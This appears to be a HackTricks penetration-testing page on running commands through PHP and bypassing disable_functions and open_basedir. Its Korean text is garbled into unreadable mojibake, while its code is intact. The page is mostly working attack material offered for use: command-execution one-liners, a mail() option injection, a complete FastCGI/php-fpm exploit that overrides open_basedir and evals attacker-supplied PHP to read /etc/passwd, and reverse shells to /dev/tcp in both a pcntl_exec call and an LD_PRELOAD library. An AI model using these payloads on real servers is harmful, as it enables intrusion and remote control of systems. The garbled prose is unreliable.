PHP - ์ ์ฉํ ํจ์ ๋ฐ disable_functions/open_basedir ์ฐํ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
PHP ๋ช ๋ น ๋ฐ ์ฝ๋ ์คํ
PHP ๋ช ๋ น ์คํ
์ฐธ๊ณ : p0wny-shell php ์น์์ ์ผ๋ถ ๊ธฐ๋ฅ์ด ๋นํ์ฑํ๋ ๊ฒฝ์ฐ ์๋์ผ๋ก ๋ค์ ๊ธฐ๋ฅ์ ํ์ธํ๊ณ ์ฐํํ ์ ์์ต๋๋ค.
exec - ๋ช ๋ น ์ถ๋ ฅ์ ๋ง์ง๋ง ์ค์ ๋ฐํํฉ๋๋ค.
echo exec("uname -a");
passthru - ๋ช ๋ น์ ์ถ๋ ฅ์ ๋ธ๋ผ์ฐ์ ์ ์ง์ ์ ๋ฌํฉ๋๋ค.
echo passthru("uname -a");
system - ๋ช ๋ น์ด ์ถ๋ ฅ์ ๋ธ๋ผ์ฐ์ ์ ์ง์ ์ ๋ฌํ๊ณ ๋ง์ง๋ง ์ค์ ๋ฐํํฉ๋๋ค.
echo system("uname -a");
shell_exec - ๋ช ๋ น์ ์ถ๋ ฅ์ ๋ฐํํฉ๋๋ค.
echo shell_exec("uname -a");
`` (๋ฐฑํฑ) - shell_exec()์ ๋์ผํฉ๋๋ค.
echo `uname -a`
popen - ๋ช ๋ น์ ํ๋ก์ธ์ค์ ๋ํ ์ฝ๊ธฐ ๋๋ ์ฐ๊ธฐ ํ์ดํ๋ฅผ ์ฝ๋๋ค.
echo fread(popen("/bin/ls /", "r"), 4096);
proc_open - popen()๊ณผ ์ ์ฌํ์ง๋ง ๋ ๋์ ์์ค์ ์ ์ด๋ฅผ ์ ๊ณตํฉ๋๋ค.
proc_close(proc_open("uname -a",array(),$something));
preg_replace
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
pcntl_exec - ํ๋ก๊ทธ๋จ์ ์คํํฉ๋๋ค (๊ธฐ๋ณธ์ ์ผ๋ก ์ต์ ๋ฐ ๊ตฌํ PHP์์๋ ์ด ํจ์๋ฅผ ์ฌ์ฉํ๊ธฐ ์ํด pcntl.so ๋ชจ๋์ ๋ก๋ํด์ผ ํฉ๋๋ค)
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
mail / mb_send_mail - ์ด ํจ์๋ ๋ฉ์ผ์ ๋ณด๋ด๋ ๋ฐ ์ฌ์ฉ๋์ง๋ง, $options ๋งค๊ฐ๋ณ์์ ์์์ ๋ช
๋ น์ ์ฃผ์
ํ๋ ๋ฐ ์
์ฉ๋ ์ ์์ต๋๋ค. ์ด๋ php mail ํจ์๊ฐ ์ผ๋ฐ์ ์ผ๋ก ์์คํ
๋ด์ sendmail ๋ฐ์ด๋๋ฆฌ๋ฅผ ํธ์ถํ๊ณ ์ถ๊ฐ ์ต์
์ ์ค์ ํ ์ ์๊ธฐ ๋๋ฌธ์
๋๋ค. ๊ทธ๋ฌ๋ ์คํ๋ ๋ช
๋ น์ ์ถ๋ ฅ์ ๋ณผ ์ ์์ผ๋ฏ๋ก, ์ถ๋ ฅ์ ํ์ผ์ ๊ธฐ๋กํ๋ ์
ธ ์คํฌ๋ฆฝํธ๋ฅผ ๋ง๋ค๊ณ , ๋ฉ์ผ์ ์ฌ์ฉํ์ฌ ์คํํ ํ ์ถ๋ ฅ์ ์ธ์ํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค:
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
dl - ์ด ํจ์๋ PHP ํ์ฅ์ ๋์ ์ผ๋ก ๋ก๋ํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด ํจ์๋ ํญ์ ์กด์ฌํ์ง ์์ผ๋ฏ๋ก, ์ด๋ฅผ ์ ์ฉํ๊ธฐ ์ ์ ์ฌ์ฉ ๊ฐ๋ฅํ์ง ํ์ธํด์ผ ํฉ๋๋ค. ์ด ํ์ด์ง๋ฅผ ์ฝ์ด ์ด ํจ์๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ฐฐ์ฐ์ธ์.
PHP ์ฝ๋ ์คํ
eval ์ธ์๋ PHP ์ฝ๋๋ฅผ ์คํํ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค: include/require๋ ๋ก์ปฌ ํ์ผ ํฌํจ(Local File Include) ๋ฐ ์๊ฒฉ ํ์ผ ํฌํจ(Remote File Include) ์ทจ์ฝ์ ์ ํตํด ์๊ฒฉ ์ฝ๋ ์คํ์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.
eval()
assert() // identical to eval()
preg_replace('/.*/e',...) // e does an eval() on the match
create_function() // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);
$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());
// or serialize/unserialize function
disable_functions & open_basedir
๋นํ์ฑํ๋ ํจ์๋ PHP์ .ini ํ์ผ์์ ๊ตฌ์ฑํ ์ ์๋ ์ค์ ์ผ๋ก, ์ง์ ๋ ํจ์์ ์ฌ์ฉ์ ๊ธ์งํฉ๋๋ค. Open basedir๋ PHP์ ์ ๊ทผํ ์ ์๋ ํด๋๋ฅผ ๋ํ๋ด๋ ์ค์ ์
๋๋ค.
PHP ์ค์ ์ /etc/php7/conf.d ๋๋ ์ ์ฌํ ๊ฒฝ๋ก์์ ๊ตฌ์ฑ๋์ด์ผ ํฉ๋๋ค.
๋ ๊ฐ์ง ๊ตฌ์ฑ์ **phpinfo()**์ ์ถ๋ ฅ์์ ํ์ธํ ์ ์์ต๋๋ค:

.png)
open_basedir Bypass
open_basedir๋ PHP๊ฐ ์ ๊ทผํ ์ ์๋ ํด๋๋ฅผ ๊ตฌ์ฑํ๋ฉฐ, ํด๋น ํด๋ ์ธ๋ถ์ ํ์ผ์ ์ฝ๊ธฐ/์ฐ๊ธฐ/์คํํ ์ ์์ต๋๋ค. ๋ํ ๋ค๋ฅธ ๋๋ ํ ๋ฆฌ๋ฅผ ๋์ดํ ์๋ ์์ต๋๋ค.
๊ทธ๋ฌ๋ ๋ง์ฝ ์ด๋ค ๋ฐฉ๋ฒ์ผ๋ก๋ ์์์ PHP ์ฝ๋๋ฅผ ์คํํ ์ ์๋ค๋ฉด, ๋ค์์ ์ฝ๋ ์กฐ๊ฐ์ ์ฌ์ฉํ์ฌ ์ ํ์ ์ฐํํด ๋ณด์ญ์์ค.
glob:// ์ฐํ๋ก ๋๋ ํ ๋ฆฌ ๋์ดํ๊ธฐ
์ด ์ฒซ ๋ฒ์งธ ์์ ์์๋ glob:// ํ๋กํ ์ฝ๊ณผ ์ผ๋ถ ๊ฒฝ๋ก ์ฐํ๋ฅผ ์ฌ์ฉํฉ๋๋ค:
<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
Note1: ๊ฒฝ๋ก์์ /e??/*๋ฅผ ์ฌ์ฉํ์ฌ /etc/* ๋ฐ ๊ธฐํ ํด๋๋ฅผ ๋์ดํ ์ ์์ต๋๋ค.
Note2: ์ฝ๋์ ์ผ๋ถ๊ฐ ์ค๋ณต๋ ๊ฒ์ฒ๋ผ ๋ณด์ด์ง๋ง, ์ค์ ๋ก๋ ํ์ํฉ๋๋ค!
Note3: ์ด ์์ ๋ ํ์ผ์ ์ฝ๋ ๊ฒ์ด ์๋๋ผ ํด๋๋ฅผ ๋์ดํ๋ ๋ฐ๋ง ์ ์ฉํฉ๋๋ค.
Full open_basedir bypass abusing FastCGI
PHP-FPM ๋ฐ FastCGI์ ๋ํด ๋ ์๊ณ ์ถ๋ค๋ฉด ์ด ํ์ด์ง์ ์ฒซ ๋ฒ์งธ ์น์
์ ์ฝ์ ์ ์์ต๋๋ค.
**php-fpm**์ด ๊ตฌ์ฑ๋์ด ์๋ค๋ฉด, ์ด๋ฅผ ์
์ฉํ์ฌ open_basedir๋ฅผ ์์ ํ ์ฐํํ ์ ์์ต๋๋ค:
.png)
.png)
๋จผ์ ํด์ผ ํ ์ผ์ php-fpm์ ์ ๋์ค ์์ผ์ด ์ด๋์ ์๋์ง ์ฐพ๋ ๊ฒ์
๋๋ค. ์ผ๋ฐ์ ์ผ๋ก /var/run ์๋์ ์์ผ๋ฏ๋ก ์ด์ ์ฝ๋๋ฅผ ์ฌ์ฉํ์ฌ ๋๋ ํ ๋ฆฌ๋ฅผ ๋์ดํ๊ณ ์ฐพ์ ์ ์์ต๋๋ค.
์ฌ๊ธฐ์ ์ฝ๋๋ฅผ ์ฐธ์กฐํ์ธ์.
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
์ด ์คํฌ๋ฆฝํธ๋ php-fpm์ ์ ๋์ค ์์ผ๊ณผ ํต์ ํ์ฌ ์์์ ์ฝ๋๋ฅผ ์คํํฉ๋๋ค. open_basedir ์ค์ ์ ์ ์ก๋ PHP_VALUE ์์ฑ์ ์ํด ๋ฎ์ด์์์ง๋๋ค.cmd ๋งค๊ฐ๋ณ์ ๋ด์์ ์ ์กํ PHP ์ฝ๋๋ฅผ ์คํํ๊ธฐ ์ํด eval์ด ์ฌ์ฉ๋๋ ๋ฐฉ์์ ์ฃผ๋ชฉํ์ธ์.
๋ํ ์ฃผ์ ์ฒ๋ฆฌ๋ 324๋ฒ์งธ ์ค์ ์ฃผ๋ชฉํ์ธ์. ์ด ์ค์ ์ฃผ์์ ํด์ ํ๋ฉด ํ์ด๋ก๋๊ฐ ์ฃผ์ด์ง URL์ ์๋์ผ๋ก ์ฐ๊ฒฐ๋์ด ๊ทธ๊ณณ์ ํฌํจ๋ PHP ์ฝ๋๋ฅผ ์คํํฉ๋๋ค.http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');์ ์ ๊ทผํ์ฌ /etc/passwd ํ์ผ์ ๋ด์ฉ์ ๊ฐ์ ธ์ค์ธ์.
Warning
open_basedir๊ตฌ์ฑ์ ๋ฎ์ด์ด ๊ฒ๊ณผ ๊ฐ์ ๋ฐฉ์์ผ๋ก **disable_functions**๋ฅผ ๋ฎ์ด์ธ ์ ์์ ๊ฒ์ด๋ผ๊ณ ์๊ฐํ ์ ์์ต๋๋ค. ์ ํด๋ณด์ธ์, ํ์ง๋ง ์๋ํ์ง ์์ ๊ฒ์ ๋๋ค.disable_functions๋.iniphp ๊ตฌ์ฑ ํ์ผ์์๋ง ์ค์ ํ ์ ์์ผ๋ฉฐ, PHP_VALUE๋ฅผ ์ฌ์ฉํ์ฌ ์ํํ๋ ๋ณ๊ฒฝ ์ฌํญ์ ์ด ํน์ ์ค์ ์ ํจ๊ณผ์ ์ด์ง ์์ต๋๋ค.
disable_functions ์ฐํ
PHP ์ฝ๋๊ฐ ๋จธ์ ๋ด์์ ์คํ๋๊ณ ์๋ค๋ฉด, ๋ค์ ๋จ๊ณ๋ก ๋์๊ฐ ์์์ ์์คํ
๋ช
๋ น์ ์คํํ๊ณ ์ถ์ ๊ฒ์
๋๋ค. ์ด ์ํฉ์์๋ ๋๋ถ๋ถ ๋๋ ๋ชจ๋ PHP ํจ์๊ฐ ์์คํ
๋ช
๋ น์ ์คํํ ์ ์๋๋ก ๋นํ์ฑํ๋์ด ์๋ค๋ ๊ฒ์ ๋ฐ๊ฒฌํ๋ ๊ฒ์ด ์ผ๋ฐ์ ์
๋๋ค.
๋ฐ๋ผ์ ์ด ์ ํ์ ์ฐํํ๋ ๋ฐฉ๋ฒ์ ์ดํด๋ณด๊ฒ ์ต๋๋ค(๊ฐ๋ฅํ๋ค๋ฉด).
์๋ ์ฐํ ๋ฐ๊ฒฌ
https://github.com/teambi0s/dfunc-bypasser ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๋ฉด **disable_functions**๋ฅผ ์ฐํํ ์ ์๋ ํจ์(์๋ ๊ฒฝ์ฐ)๋ฅผ ์๋ ค์ค๋๋ค.
๋ค๋ฅธ ์์คํ ํจ์๋ฅผ ์ฌ์ฉํ ์ฐํ
์ด ํ์ด์ง์ ์์์ผ๋ก ๋์๊ฐ์ ๋ช ๋ น ์คํ ํจ์ ์ค ๋นํ์ฑํ๋์ง ์๊ณ ํ๊ฒฝ์์ ์ฌ์ฉ ๊ฐ๋ฅํ ํจ์๊ฐ ์๋์ง ํ์ธํ์ธ์. ๊ทธ ์ค ํ๋๋ผ๋ ์ฐพ์ผ๋ฉด ์์์ ์์คํ ๋ช ๋ น์ ์คํํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค.
LD_PRELOAD ์ฐํ
mail()๊ณผ ๊ฐ์ PHP์ ์ผ๋ถ ํจ์๊ฐ ์์คํ
๋ด์์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๋ค๋ ๊ฒ์ ์ ์๋ ค์ ธ ์์ต๋๋ค. ๋ฐ๋ผ์ ํ๊ฒฝ ๋ณ์ LD_PRELOAD๋ฅผ ์ฌ์ฉํ์ฌ ์ด๋ค์ ์
์ฉํ์ฌ ์์์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๋ก๋ํ๊ฒ ํ ์ ์์ต๋๋ค.
LD_PRELOAD๋ก disable_functions๋ฅผ ์ฐํํ ์ ์๋ ํจ์
mailmb_send_mail:php-mbstring๋ชจ๋์ด ์ค์น๋ ๊ฒฝ์ฐ ํจ๊ณผ์ ์ ๋๋ค.imap_mail:php-imap๋ชจ๋์ด ์๋ ๊ฒฝ์ฐ ์๋ํฉ๋๋ค.libvirt_connect:php-libvirt-php๋ชจ๋์ด ํ์ํฉ๋๋ค.gnupg_init:php-gnupg๋ชจ๋์ด ์ค์น๋ ๊ฒฝ์ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค.new imagick(): ์ด ํด๋์ค๋ ์ ํ์ ์ฐํํ๋ ๋ฐ ์ ์ฉ๋ ์ ์์ต๋๋ค. ์์ธํ ์ ์ฉ ๊ธฐ์ ์ ํฌ๊ด์ ์ธ ์ฌ๊ธฐ์ ํ์ธํ ์ ์์ต๋๋ค.
์ด ํจ์๋ค์ ์ฐพ๋ ๋ฐ ์ฌ์ฉ๋ ํผ์ง ์คํฌ๋ฆฝํธ๋ ์ฌ๊ธฐ์ ํ์ธํ ์ ์์ต๋๋ค.
๋ค์์ LD_PRELOAD ํ๊ฒฝ ๋ณ์๋ฅผ ์
์ฉํ๊ธฐ ์ํด ์ปดํ์ผํ ์ ์๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์
๋๋ค:
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}
Chankro๋ฅผ ์ด์ฉํ ์ฐํ
์ด ์๋ชป๋ ์ค์ ์ ์
์ฉํ๊ธฐ ์ํด Chankro๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด๋ ์ทจ์ฝํ ์๋ฒ์ ์
๋ก๋ํ๊ณ ์คํํด์ผ ํ๋ PHP ์ต์คํ๋ก์์ ์์ฑํ๋ ๋๊ตฌ์
๋๋ค (์น์ ํตํด ์ ๊ทผ).
Chankro๋ ํผํด์์ ๋์คํฌ์ ์คํํ๊ณ ์ ํ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ฆฌ๋ฒ์ค ์
ธ์ ์์ฑํ๊ณ , LD_PRELOAD ํธ๋ฆญ + PHP mail() ํจ์๋ฅผ ์ฌ์ฉํ์ฌ ๋ฆฌ๋ฒ์ค ์
ธ์ ์คํํฉ๋๋ค.
Chankro๋ฅผ ์ฌ์ฉํ๊ธฐ ์ํด์๋ mail๊ณผ putenv๊ฐ disable_functions ๋ชฉ๋ก์ ๋ํ๋๋ฉด ์ ๋ฉ๋๋ค.
๋ค์ ์์ ์์๋ arch 64์ ๋ํ chankro ์ต์คํ๋ก์์ ์์ฑํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ฃผ๋ฉฐ, ์ด๋ whoami๋ฅผ ์คํํ๊ณ ์ถ๋ ฅ์ _/tmp/chankro_shell.out_์ ์ ์ฅํฉ๋๋ค. chankro๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ํ์ด๋ก๋๋ฅผ _/tmp_์ ์์ฑํ๊ณ , ์ต์ข
์ต์คํ๋ก์์ bicho.php๋ผ๊ณ ๋ถ๋ฆฌ๊ฒ ๋ฉ๋๋ค (์ด ํ์ผ์ ํผํด์์ ์๋ฒ์ ์
๋ก๋ํด์ผ ํฉ๋๋ค):
#!/bin/sh
whoami > /tmp/chankro_shell.out
mail ํจ์๊ฐ ๋นํ์ฑํ๋ ํจ์์ ์ํด ์ฐจ๋จ๋ ๊ฒฝ์ฐ, mb_send_mail ํจ์๋ฅผ ์ฌ์ฉํ ์ ์์์ง๋ ๋ชจ๋ฆ
๋๋ค.
์ด ๊ธฐ์ ๊ณผ Chankro์ ๋ํ ๋ ๋ง์ ์ ๋ณด๋ ์ฌ๊ธฐ์์ ํ์ธํ์ธ์: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/
โ์ฐํโ PHP ๊ธฐ๋ฅ ์ฌ์ฉ
PHP๋ฅผ ์ฌ์ฉํ๋ฉด ํ์ผ์ ์ฝ๊ณ ์ฐ๊ณ , ๋๋ ํ ๋ฆฌ๋ฅผ ์์ฑํ๊ณ , ๊ถํ์ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
๋ํ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๋คํํ ์ ์์ต๋๋ค.
PHP๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐ์ค๋ฅผ ์ด๊ฑฐํ๋ฉด ๊ถํ ์์น/๋ช
๋ น ์คํ ๋ฐฉ๋ฒ์ ์ฐพ์ ์ ์์์ง๋ ๋ชจ๋ฆ
๋๋ค (์: ์ผ๋ถ ๊ฐ์ธ ssh ํค ์ฝ๊ธฐ).
์ด ์์ ์ ์ฝ๊ฒ ์ํํ ์ ์๋ ์น์์ ๋ง๋ค์์ต๋๋ค (๋๋ถ๋ถ์ ์น์๋ ์ด๋ฌํ ์ต์ ์ ์ ๊ณตํฉ๋๋ค): https://github.com/carlospolop/phpwebshelllimited
๋ชจ๋/๋ฒ์ ์์กด์ ์ฐํ
ํน์ ๋ชจ๋์ด ์ฌ์ฉ๋๊ฑฐ๋ ํน์ PHP ๋ฒ์ ์ ์ ์ฉํ๋ ๊ฒฝ์ฐ disable_functions๋ฅผ ์ฐํํ๋ ์ฌ๋ฌ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค:
- FastCGI/PHP-FPM (FastCGI Process Manager)
- FFI - ์ธ๋ถ ํจ์ ์ธํฐํ์ด์ค ์ฌ์ฉ์ผ๋ก ์ฐํ
- mem์ ํตํ ์ฐํ
- mod_cgi
- PHP Perl ํ์ฅ Safe_mode
- dl ํจ์
- ์ด ์ต์คํ๋ก์
- 5.* - PoC์ ์ฝ๊ฐ์ ๋ณ๊ฒฝ์ผ๋ก ์ ์ฉ ๊ฐ๋ฅ
- 7.0 - ํ์ฌ๊น์ง ๋ชจ๋ ๋ฒ์
